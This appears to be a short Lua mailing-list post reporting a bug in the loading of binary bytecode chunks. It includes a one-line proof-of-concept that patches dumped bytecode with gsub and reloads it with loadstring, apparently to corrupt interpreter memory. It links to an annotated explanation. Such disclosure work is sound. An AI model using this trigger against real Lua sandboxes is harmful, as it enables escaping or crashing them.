Another bug related to binary chunks?

["Peter Cawley" <lua@...>]

Minimal exploitation (assumes sizeof(int)==sizeof(size_t)==4 and little-endian):
local a,b,c;loadstring(('').dump(function()X={a,b}X=c[b]end):gsub('\3...\2.....\2....','\1\0\0'))()

Nicer annotated code with explanation:
http://pastebin.com/f281b0a36